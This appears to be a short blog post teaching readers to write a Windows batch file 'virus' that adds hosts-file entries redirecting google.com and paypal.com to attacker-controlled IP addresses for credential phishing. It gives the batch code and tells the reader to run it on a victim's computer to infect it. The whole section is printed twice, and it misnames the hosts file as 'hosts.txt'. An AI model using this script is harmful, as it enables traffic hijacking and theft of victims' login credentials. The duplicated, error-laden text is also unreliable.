Batch file programming is the native programming offered by the Microsoft Windows Operating System. Batch file is created using any text editors like notepad, WordPad, WinWord or so on, which comprises a sequence of built-in commands used to perform some often done tasks like deleting a series of files of same type or of different type, creating logs, clearing unwanted scraps from your computer and even for creating a batch VIRUS.
The batch file can have the tendency to modify the transfer zones by editing the hosts.txt file that resides inside ‘C:\windows\system32\drivers\etc\hosts.txt’, so that it will take you to some malicious websites instead of landing you to the legitimate website. This may also be used for phishing, i.e. redirecting you to a bogus website which looks exactly like the legitimate one, and then steals credentials.
1. Just open up a notepad, copy and paste the below code
@echo off
echo 10.199.64.66 www.google.com >> C:\windows\system32\drivers\etc\hosts.txt
echo 10.199.64.67 www.paypal.com >> C:\windows\system32\drivers\etc\hosts.txt
exit
2. Save it as a batch file with the extension .bat
3. Then run it on the Victims computer to infect it.
4.This program creates a new entry in the hosts file, so that whenever a user attempts to move to www.google.com, he will be re-directed to another host that has the IP address of 10.199.64.66, likewise if the user attempts to login to the PayPal account by typing in www.paypal.com, he will be re-directed to another external bogus website that has the IP address of 10.199.64.67, where if the user enters the credentials unknowingly, they were into the hackers database and he can use it for several other purposes.
DNS Poisoning:
The batch file can have the tendency to modify the transfer zones by editing the hosts.txt file that resides inside ‘C:\windows\system32\drivers\etc\hosts.txt’, so that it will take you to some malicious websites instead of landing you to the legitimate website. This may also be used for phishing, i.e. redirecting you to a bogus website which looks exactly like the legitimate one, and then steals credentials.
1. Just open up a notepad, copy and paste the below code
@echo off
echo 10.199.64.66 www.google.com >> C:\windows\system32\drivers\etc\hosts.txt
echo 10.199.64.67 www.paypal.com >> C:\windows\system32\drivers\etc\hosts.txt
exit
2. Save it as a batch file with the extension .bat
3. Then run it on the Victims computer to infect it.
4.This program creates a new entry in the hosts file, so that whenever a user attempts to move to www.google.com, he will be re-directed to another host that has the IP address of 10.199.64.66, likewise if the user attempts to login to the PayPal account by typing in www.paypal.com, he will be re-directed to another external bogus website that has the IP address of 10.199.64.67, where if the user enters the credentials unknowingly, they were into the hackers database and he can use it for several other purposes.
0 comments:
Post a Comment